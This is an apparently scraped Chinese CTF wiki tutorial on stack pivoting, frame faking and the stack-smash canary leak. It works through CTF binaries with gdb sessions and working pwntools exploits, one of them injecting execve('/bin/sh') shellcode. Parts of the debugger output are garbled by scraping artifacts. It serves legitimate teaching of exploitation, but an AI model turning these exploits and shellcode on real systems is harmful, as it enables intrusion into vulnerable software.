1. 程式人生 > >其它棧溢位技巧

其它棧溢位技巧



# stack privot


## 原理


stack privot,正如它所描述的,該技巧就是劫持棧指標指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot


- 可以控制的棧溢位的位元組數較少,難以構造較長的ROP鏈
- 開啟了PIE保護,棧地址未知,我們可以將棧劫持到已知的區域。
- 其它漏洞難以利用,我們需要進行轉換,比如說將棧劫持到堆空間,從而利用堆漏洞


此外,利用stack privot有以下幾個要求


- 可以控制程式執行流。


- 可以控制sp指標。一般來說,控制棧指標會使用ROP,常見的控制棧指標的gadgets一般是


  ```assembly
  pop rsp/esp
  ```


  當然,還會有一些其它的姿勢。比如說libc_csu_init中的gadgets,我們通過偏移就可以得到控制rsp指標。上面的是正常的,下面的是偏移的。


  ```assembly
  gef➤  x/7i 0x000000000040061a
     0x40061a <__libc_csu_init+90>:pop    rbx
     0x40061b <__libc_csu_init+91>:pop    rbp
     0x40061c <__libc_csu_init+92>:pop    r12
     0x40061e <__libc_csu_init+94>:pop    r13
     0x400620 <__libc_csu_init+96>:pop    r14
     0x400622 <__libc_csu_init+98>:pop    r15
     0x400624 <__libc_csu_init+100>:ret    
  gef➤  x/7i 0x000000000040061d
     0x40061d <__libc_csu_init+93>:pop    rsp
     0x40061e <__libc_csu_init+94>:pop    r13
     0x400620 <__libc_csu_init+96>:pop    r14
     0x400622 <__libc_csu_init+98>:pop    r15
     0x400624 <__libc_csu_init+100>:ret
  ```


  此外,還有更加高階的fake frame。




- 存在可以控制內容的記憶體,一般有如下
  - bss段。由於程序按頁分配記憶體,分配給bss段的記憶體大小至少一個頁(4k,0x1000)大小。然而一般bss段的內容用不了這麼多的空間,並且bss段分配的記憶體頁擁有讀寫許可權。
  - heap。但是這個需要我們能夠洩露堆地址。


## 示例


### 例1


這裡我們以**X-CTF Quals 2016 - b0verfl0w**為例,進行介紹。首先,檢視程式的安全保護,如下


```shell
➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w                 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```


可以看出源程式為32位,也沒有開啟NX保護,下面我們來找一下程式的漏洞


```C
signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1


  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}
```


可以看出,源程式存在棧溢位漏洞。但是其所能溢位的位元組就只有50-0x20-4=14個位元組,所以我們很難執行一些比較好的ROP。這裡我們就考慮stack privot。由於程式本身並沒有開啟堆疊保護,所以我們可以在棧上佈置shellcode並執行。基本利用思路如下


- 利用棧溢位佈置shellcode
- 控制eip指向shellcode處


第一步,還是比較容易地,直接讀取即可,但是由於程式本身會開啟ASLR保護,所以我們很難直接知道shellcode的地址。但是棧上相對偏移是固定的,所以我們可以利用棧溢位對esp進行操作,使其指向shellcode處,並且直接控制程式跳轉至esp處。那下面就是找控制程式跳轉到esp處的gadgets了。


```assembly
➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1


Unique gadgets found: 3
```


這裡我們發現有一個可以直接跳轉到esp的gadgets。那麼我們可以佈置payload如下


```text
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
```


那麼我們payload中的最後一部分改如何設定esp呢,可以知道


- size(shellcode+padding)=0x20
- size(fake ebp)=0x4
- size(0x08048504)=0x4


所以我們最後一段需要執行的指令就是


```assembly
sub 0x28,esp
jmp esp
```


所以最後的exp如下


```python
from pwn import *
sh = process('./b0verfl0w')


shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"


sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
```


### 例2-轉移堆


待。


## 題目


- EkoPartyCTF 2016 fuckzing-exploit-200


# frame faking


正如這個技巧名字所說的那樣,這個技巧就是構造一個虛假的棧幀來控制程式的執行流。


## 原理


概括地講,我們在之前講的棧溢位不外乎兩種方式


- 控制程式EIP
- 控制程式EBP


其最終都是控制程式的執行流。在frame faking中,我們所利用的技巧便是同時控制EBP與EIP,這樣我們在控制程式執行流的同時,也改變程式棧幀的位置。一般來說其payload如下


```
buffer padding|fake ebp|leave ret addr|
```


即我們利用棧溢位將棧上構造為如上格式。這裡我們主要接下後面兩個部分


- 函式的返回地址被我們覆蓋為執行leave ret的地址,這就表明了函式在正常執行完自己的leave ret後,還會再次執行一次leave ret。
- 其中fake ebp為我們構造的棧幀的基地址,需要注意的是這裡是一個地址。一般來說我們構造的假的棧幀如下


```
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
```


這裡我們的fake ebp指向ebp2,即它為ebp2所在的地址。通常來說,這裡都是我們能夠控制的可讀的內容。在我們介紹基本的控制過程之前,我們還是有必要說一下,函式的入口點與出口點的基本操作


入口點


```
push ebp  # 將ebp壓棧
move esp, ebp #將esp的值賦給ebp
```


出口點


```
leave
ret #pop eip,彈出棧頂元素作為程式下一個執行地址
```


其中leave指令相當於


```
move ebp, esp # 將ebp的值賦給esp
pop ebp #彈出ebp
```


下面我們來仔細說一下基本的控制過程。


1. 在有棧溢位的程式執行leave時,其分為兩個步驟


   - move ebp, esp ,這會將esp也指向當前棧溢位漏洞的ebp基地址處。
   - pop ebp, 這會將棧中存放的fake ebp的值賦給ebp。即執行完指令之後,ebp便指向了ebp2,也就是儲存了ebp2所在的地址。


2. 執行ret指令,會再次執行leave ret指令。


3. 執行leave指令,其分為兩個步驟


   - move ebp, esp ,這會將esp指向ebp2。
   - pop ebp,此時,會將ebp的內容設定為ebp2的值,同時esp會指向target function。


4. 執行ret指令,這時候程式就會執行targetfunction,當其進行程式的時候會執行


   - push ebp,會將ebp2值壓入棧中,


   - move esp, ebp,將ebp指向當前基地址。


     此時的棧結構如下


     ```
     ebp
     |
     v
     ebp2|leave ret addr|arg1|arg2
     ```


5. 當程式執行師,其會正常申請空間,同時我們在棧上也安排了該函式對應的引數,所以程式會正常執行。


6. 程式結束後,其又會執行兩次 leave ret addr,所以如果我們在ebp2處佈置好了對應的內容,那麼我們就可以一直控制程式的執行流程。


可以看出在fake frame中,我們有一個需求就是,我們必須得有一塊可以寫的記憶體,並且我們還知道這塊記憶體的地址,這一點與stack privot相似。


## 例子


目前來說,我在exploit-exercise的fusion level2中利用過這個技巧,其它地方暫時還未遇到,遇到的時候再進行補充。


## 題目






參考閱讀


- [http://www.xfocus.net/articles/200602/851.html](http://www.xfocus.net/articles/200602/851.html)
- [http://phrack.org/issues/58/4.html](http://phrack.org/issues/58/4.html)




# Stack smash


## 原理


在程式加了canary保護之後,如果我們讀取的buffer覆蓋了對應的值時,程式就會報錯,而一般來說我們並不會關心報錯資訊。而stack smash技巧則就是利用列印這一資訊的程式來得到我們想要的內容。這是因為在程式發現canary保護之後,如果發現canary被修改的話,程式就會執行__stack_chk_fail函式來列印argv[0]指標所指向的字串,正常情況下,這個指標指向了程式名。其程式碼如下


```C
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}
```


所以說如果我們利用棧溢位覆蓋argv[0]為我們想要輸出的字串的地址,那麼在__fortify_fail函式中就會輸出我們想要的資訊。


## 例子


這裡,我們以2015年32C3 CTF smashes為例進行介紹,該題目在jarvisoj上有復現。


### 確定保護


可以看出程式為64位,主要開啟了Canary保護以及NX保護,以及FORTIFY保護。


```shell
➜  stacksmashes git:(master) ✗ checksec smashes
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
```


### 分析程式


ida看一下


```c
__int64 sub_4007E0()
{
  __int64 v0; //
[email protected]

  __int64 v1; // [email protected]
  int v2; // [email protected]
  __int64 v4; // [sp+0h] [bp-128h]@1
  __int64 v5; // [sp+108h] [bp-20h]@1


  v5 = *MK_FP(__FS__, 40LL);
  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
  LODWORD(v0) = _IO_gets((__int64)&v4);
  if ( !v0 )
LABEL_9:
    _exit(1);
  v1 = 0LL;
  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v2 = _IO_getc(stdin);
    if ( v2 == -1 )
      goto LABEL_9;
    if ( v2 == '\n' )
      break;
    byte_600D20[v1++] = v2;
    if ( v1 == ' ' )
      goto LABEL_8;
  }
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
  puts("Thank you, bye!");
  return *MK_FP(__FS__, 40LL) ^ v5;
}
```


很顯然,程式在_IO_gets((__int64)&v4);存在棧溢位。


此外,程式中還提示要overwrite flag。而且發現程式很有意思的在while迴圈之後執行了這條語句


```C
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
```


又看了看對應地址的內容,可以發現如下內容,說明程式的flag就在這裡啊。




```
.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
```


但是如果我們直接利用棧溢位輸出該地址的內容是不可行的,這是因為我們讀入的內容` byte_600D20[v1++] = v2;`也恰恰就是該塊記憶體,這會直接將其覆蓋掉,這時候我們就需要利用一個技巧了


- 在EFL記憶體對映時,bss段會被對映兩次,所以我們可以使用另一處的地址來進行輸出,可以使用gdb的find來進行查詢。


### 確定flag地址


我們把斷點下載memset函式處,然後讀取相應的內容如下


```shell
gef➤  c
Continuing.
Hello!
What's your name? qqqqqqq
Nice to meet you, qqqqqqq.
Please overwrite the flag: 222222222


Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38
38../sysdeps/x86_64/multiarch/memset-avx2.S: 沒有那個檔案或目錄.
─────────────────────────────────────[ code:i386:x86-64 ]────
   0x7ffff7b7f920 <__memset_chk_avx2+0> cmp    rcx, rdx
   0x7ffff7b7f923 <__memset_chk_avx2+3> jb     0x7ffff7b24110 <__GI___chk_fail>
   0x7ffff7b7f929                  nop    DWORD PTR [rax+0x0]
 → 0x7ffff7b7f930 <__memset_avx2+0> vpxor  xmm0, xmm0, xmm0
   0x7ffff7b7f934 <__memset_avx2+4> vmovd  xmm1, esi
   0x7ffff7b7f938 <__memset_avx2+8> lea    rsi, [rdi+rdx*1]
   0x7ffff7b7f93c <__memset_avx2+12> mov    rax, rdi
───────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffda38', 'l8']
8
0x00007fffffffda38│+0x00: 0x0000000000400878  →   mov edi, 0x40094e← $rsp
0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)
0x00007fffffffda48│+0x10: 0x0000000000000000
0x00007fffffffda50│+0x18: 0x0000000000000000
0x00007fffffffda58│+0x20: 0x0000000000000000
0x00007fffffffda60│+0x28: 0x0000000000000000
0x00007fffffffda68│+0x30: 0x0000000000000000
0x00007fffffffda70│+0x38: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7b7f930 → Name: __memset_avx2()
[#1] 0x400878 → mov edi, 0x40094e
──────────────────────────────────────────────────────────────────────────────
gef➤  find 22222
Argument required (expression to compute).
gef➤  find '22222'
No symbol "22222" in current context.
gef➤  grep '22222'
[+] Searching '22222' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-
  0x600d20 - 0x600d3f  →   "222222222's the flag on server}" 
[+] In '[heap]'(0x601000-0x622000), permission=rw-
  0x601010 - 0x601019  →   "222222222" 
gef➤  grep PCTF
[+] Searching 'PCTF' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x
  0x400d20 - 0x400d3f  →   "PCTF{Here's the flag on server}" 
```


可以看出我們讀入的2222已經覆蓋了0x600d20處的flag,但是我們在記憶體的0x400d20處仍然找到了這個flag的備份,所以我們還是可以將其輸出。這裡我們已經確定了flag的地址。


### 確定偏移


下面,我們確定argv[0]距離讀取的字串的偏移。


首先下斷點在main函式入口處,如下


```shell
gef➤  b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes 


Breakpoint 1, 0x00000000004006d0 in ?? ()
 code:i386:x86-64 ]────
     0x4006c0 <
[email protected]
+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <[email protected]>
     0x4006c6 <[email protected]+6> push   0x9
     0x4006cb <[email protected]+11> jmp    0x400620
 →   0x4006d0                  sub    rsp, 0x8
     0x4006d4                  mov    rdi, QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>
     0x4006db                  xor    esi, esi
     0x4006dd                  call   0x400660 <
[email protected]
>
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830  →  <__libc_start_main+240> mov edi, eax← $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58  →  0x00007fffffffe00b  →  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0  →   sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee  →   xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt 




```


可以看出0x00007fffffffe00b指向程式名,其自然就是argv[0],所以我們修改的內容就是這個地址。同時0x00007fffffffdc58處保留著該地址,所以我們真正需要的地址是0x00007fffffffdc58。


此外,根據彙編程式碼


```assembly
.text:00000000004007E0                 push    rbp
.text:00000000004007E1                 mov     esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6                 mov     edi, 1
.text:00000000004007EB                 push    rbx
.text:00000000004007EC                 sub     rsp, 118h
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC                 mov     [rsp+128h+var_20], rax
.text:0000000000400804                 xor     eax, eax
.text:0000000000400806                 call    ___printf_chk
.text:000000000040080B                 mov     rdi, rsp
.text:000000000040080E                 call    __IO_gets
```


我們可以確定我們讀入的字串的起始地址其實就是呼叫__IO_gets之前的rsp,所以我們把斷點下在call處,如下


```assembly
gef➤  b *0x000000000040080E
Breakpoint 2 at 0x40080e
gef➤  c
Continuing.
Hello!
What's your name? 
Breakpoint 2, 0x000000000040080e in ?? ()
──────────────────────────[ code:i386:x86-64 ]────
     0x400804                  xor    eax, eax
     0x400806                  call   0x4006b0 <[email protected]>
     0x40080b                  mov    rdi, rsp
 →   0x40080e                  call   0x4006c0 <[email protected]>
   ↳    0x4006c0 <[email protected]+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <[email protected]>
        0x4006c6 <[email protected]+6> push   0x9
        0x4006cb <[email protected]+11> jmp    0x400620
        0x4006d0                  sub    rsp, 0x8
──────────────────[ stack ]────
['0x7fffffffda40', 'l8']
8
0x00007fffffffda40│+0x00: 0x0000ff0000000000 ← $rsp, $rdi
0x00007fffffffda48│+0x08: 0x0000000000000000
0x00007fffffffda50│+0x10: 0x0000000000000000
0x00007fffffffda58│+0x18: 0x0000000000000000
0x00007fffffffda60│+0x20: 0x0000000000000000
0x00007fffffffda68│+0x28: 0x0000000000000000
0x00007fffffffda70│+0x30: 0x0000000000000000
0x00007fffffffda78│+0x38: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x40080e → call 0x4006c0 <[email protected]>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  print $rsp
$1 = (void *) 0x7fffffffda40
```


可以看出rsp的值為0x7fffffffda40,那麼相對偏移為


```python
>>> 0x00007fffffffdc58-0x7fffffffda40
536
>>> hex(536)
'0x218'
```


### 利用程式


我們構造利用程式如下


```python
from pwn import *
context.log_level = 'debug'
smash = ELF('./smashes')
if args['REMOTE']:
    sh = remote('pwn.jarvisoj.com', 9877)
else:
    sh = process('./smashes')
argv_addr = 0x00007fffffffdc58
name_addr = 0x7fffffffda40
flag_addr = 0x600D20
another_flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)
sh.recvuntil('name? ')
sh.sendline(payload)
sh.recvuntil('flag: ')
sh.sendline('bb')
data = sh.recv()
sh.interactive()
```


這裡我們直接就得到了flag,沒有出現網上說的得不到flag的情況。


## 題目

相關推薦

其它溢位技巧

# stack privot ## 原理 stack privot,正如它所描述的,該技巧就是劫持棧指標指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot - 可以控制的棧溢位的位元組數較少,難以構造較長的ROP鏈 - 開啟了PIE保護,

花式溢位技巧----partial overwrite

學習資料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite                 &

花式溢位技巧----Stack smash

學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇見過一次這種情況,但是是不求甚解的完成了,這次慢慢分析一下原理 棧保護和NX欄位都開啟了,這裡科普一下棧保護,

花式溢位技巧----stack pivoting/frame faking

學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/                   http

關於 [溢位後jmp esp執行shellcode] 原理分析

原文地址:https://blog.csdn.net/lixiangminghate/article/details/53333710 正常情況下,函式棧分佈圖如下: 即,返回地址被改為一段快取區的地址。當函式執行結束,從棧中取返回地址準備執行時,取到的是shellcode的地址,最終跳進shellc

0day安全:軟體漏洞分析技術 第二章 溢位原理及實踐

_stdcall呼叫約定下,函式呼叫時用到的指令序列大致如下:push 引數3push 引數2push 引數1call 函式地址;a)向棧中壓入當前指令在記憶體中的位置,即儲存儲存返回地址。b)跳轉到所呼叫函式的入口push ebp 儲存舊棧幀的底部mov ebp,esp 設定新棧幀的底部(棧幀切換)sub

___security_cookie機制,防止溢位

有關security cookie在棧保護上的研究06.10 by flyingkisser這裡主要討論棧,不是堆。首先,security cookie並不是windows系統自帶的保護機制,並不是說一個確實存在溢位漏洞的程式,放到帶security cookie保護的環境中,就不能正常溢位了。那麼,到底是什

溢位----中級ROP

學習資料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/ 1.ret2__libc_csu_init 這個主要是爭對64位的程式的,和32位的棧傳參不同的是,在 64 位程式中,函式的前 6 個引

溢位----基礎rop

學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ 1. 棧溢位基本原理就不寫了 列舉一下常見的危險函式: 輸入 gets,直接讀取一行,忽略'\x00'

經典溢位 Easy RM to MP3 Converter

以一個樣本(Easy RM to MP3 Converter)將作為經典棧溢位的講解例項,首先說明此實驗是WIN10環境下復現的; “Easy RM 2 MP3 Converter”是一個音訊格式的轉換工具,年代比較久遠了。在2009年7月17日,packetstormsecurity公開了該軟

編譯器防止溢位的策略

棧溢位的原理前面已經說過,為了防止棧溢位增加了一個全域性變數 ___security_cookie ,把它和當前esp做異或後,值放到儲存的eip、ebp得上面(該函式棧空間的第一個變數) 該函式呼叫結束後,再把var_4和esp(兩處的esp值應該是相同的)做異或,值放到ecx

寫Java程式碼分別使堆溢位,溢位

原文連結:https://www.cnblogs.com/tv151579/p/3647238.html 轉自:http://fxlzs2000.iteye.com/blog/1786407 轉自:http://my.oschina.net/sdrkyj/blog/143410 前言 primitiv

linux漏洞分析入門筆記-溢位

ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux

Java堆溢位溢位

記憶體溢位Out Of Memory(OOM):指申請記憶體時,沒有足夠的記憶體供其使用。 記憶體洩露Memory Leak:記憶體洩露,程式申請記憶體後,無法釋放已申請的記憶體空間。記憶體洩露的堆積,浪費了記憶體空間,可能會造成OOM. 堆溢位資訊:

C++11的shared_ptr有可能導致函式呼叫溢位

最開始關注這個問題是在測試C++ Concurrency in Action這本書提及的幾個版本stack資料結構的實現,其中lock free版本的實現時,需要精巧的記憶體回收機制,其中在介紹count reference記憶體回收機制時,作者認為shared_ptr是有r

溢位學習之bindshell的實現

最近學習《0day安全》一書 記錄一下除錯編碼過程 書中環境XP VC6 本機的環境是server 2008 r2 x64  編譯環境是vs2013  第一步: 首先是寫一個win c版本的bindshell 程式碼如下: #include<winsock2

2018-12-15 使用Jlink 除錯RTThread(執行緒溢位的確定 / 實際執行緒使用情況的檢視) 方法

【題外話】   我第一次接觸RTThread的時候是2014年,當時是本科畢業設計中需要使用到一款wifi模組進行無線視訊傳輸,該模組提供的例程就是基於RTThread的。當時由於水平有限(就是水),看到這種長篇大論的程式碼還是有點頭疼。後來碩士期間也接觸過uCOS,至於RTThread一直到今年之前再未接

寫程式碼實現溢位、堆溢位、永久代溢位、直接記憶體溢位

棧溢位(StackOverflowError) 堆溢位(OutOfMemoryError:Java heap space) 永久代溢位(OutOfMemoryError: PermGen space) 直接記憶體溢位 一、堆溢位 建立物件時如果沒有可以分配的堆記憶體,

js實現遞迴,尾遞迴(遞迴優化),防止溢位

一、一版的遞迴實現 n!,比如 5!= 5 * 4 * 3 * 2 *1       function fact(n) {             if(n == 1) {

溢位之Return2libc

參考文章:https://zhuanlan.zhihu.com/p/25816426 我們利用函式呼叫來實現攻擊,核心目的是用攻擊指令的地址來覆蓋返回地址 通常用的有以下四種方法: 修改返回地址,讓其指向溢位資料中的一段指令(shellcode) 修改返回地址,讓其指向記憶體中已